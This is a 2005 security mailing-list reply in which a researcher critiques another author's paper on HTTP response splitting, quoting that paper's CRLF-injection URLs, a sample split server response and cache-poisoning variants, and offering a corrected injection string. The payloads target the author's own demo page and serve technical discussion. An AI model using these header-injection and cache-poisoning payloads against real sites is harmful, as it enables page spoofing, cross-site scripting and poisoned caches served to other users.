Re: HTTP RESPONSE SPLITTING by Diabolic Crab
Hi dcrab
See my comments below.
Thanks,
-Amit
On 13 Apr 2005 at 13:45, dcrab wrote:
>
>
> HTTP RESPONSE SPLITTING
> by Diabolic Crab (dcrab@xxxxxxxxxxxxxxxxx)
> http://www.digitalparadox.org
>
It would make sense to mention that this is based on your reference
#4 ("Divide and Conquer - HTTP Response Splitting, Web Cache
Poisoning and Related Topics", by yours truly...).
[...]
> This paper is going to focus on the usage of HTTP response
splitting vulnerabilities in the case of web applications. This type
of vulnerabiliy being fairly new, I have found it to be present in
many large corporate websites, some of which might surprise you, most
of them still exist.
Right on!
> Thus injecting something like,
>
> http://icis.digitalparadox.org/~dcrab/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont%20color=red%3Ehey%3C/font%3E%3C/html%3E
>
[...]
> Server to User 302 Found Response
>
> HTTP/1.1 302 Found
> [First standard 302 response]
> Date: Tue, 12 Apr 2005 22:09:07 GMT
> Server: Apache/1.3.29 (Unix) mod_ssl/2.8.16 OpenSSL/0.9.7c
> Location:
> Content-Type: text/html
> HTTP/1.1 200 OK
> [Second New response created by attacker begins]
> Content-Type: text/html
>
> <html><font color=red>hey</font></html>
> [Arbitary input by user is shown as the redirected page]
> Keep-Alive: timeout=15, max=100
> Connection: Keep-Alive
> Transfer-Encoding: chunked
> Content-Type: text/html
>
> 0
>
> As we can see in the exploitation process above, the server runs the normal
> 302 response, the arbitary input we gave in the location header causes it to
> start a new 200 OK response which shows our inputted data to the user as a
> normal web server response, Thus we have carried out a Cross Site Scripting
> exploitation of the Html Splitting vulnerability.
I'm afraid I have to disagree here. The above is still an almost
valid *single* HTTP response. It has a URL line, headers (including 2
not so valid headers) followed by HTML body. There is no length
specification in the header, and thus many agents will assume that
the body extends to the end of information (connection is to be
closed by the server) - that's a standard practice to overcome CGI
scripts that don't send Content-Length header.
Anyway, even if some HTTP agents would interpret the first double
CRLF as termination for a response (i.e. assuming Content-Length=0),
the body is still not a valid HTTP/1.x response.
If you want to really split the HTTP response stream into two
responses, you will need to properly terminate the first response,
and then create a whole new response, e.g. by injecting:
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Length:%20NNN%0d%0aContent-
Type:%20text/html%0d%0a%0d%0a<html>...</html>
And regarding XSS, the original injection does not end up in an XSS
condition with IE - see your own reference #1 (?CSS before redirect?
by Thomas Schreiber (BugTraq posting)).
>
> Cache poisoning:
> To make the cache server, cache our request we must add some new headers. The
> Last-Modified header in the HTTP response will cause most cache servers to
> cache the web site, thus allowing our poisoned website to appear in the
> cache, as long as the Last-modified header is sent with a date ahead of the
> current date. Sending of the Cache-Control: no-cache and/or Pragma: no-cache
> requests will cause non cached websites to be added to the cache.
>
> Some example versions of the cache poisoning exploits for the above
> vulnerable example are,
>
> Last-Modified example:
>
> http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified:%20Wed,%2013%20Jan%202006%2012:44:23%20GMT%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><font
> color=red>hey</font></html> HTTP/1.1
>
> Cache-Control example:
> http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aCache-Control:%20no-cache%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><font
> color=red>hey</font></html> HTTP/1.1
>
> Pragma example:
> http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aPragma:%20no-cache%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><font
> color=red>hey</font></html> HTTP/1.1
>
Again, you need to first terminate the first response, e.g. by
injecting Content-Length: 0. And including raw white spaces (between
"font" and "color" is probably not a good idea too.
[...]
>
>
> Refferences:
> http://www.securityfocus.com/archive/107/336744
> http://www.securityfocus.com/archive/1/271515
> http://www.securityfocus.com/archive/1/290872
> http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf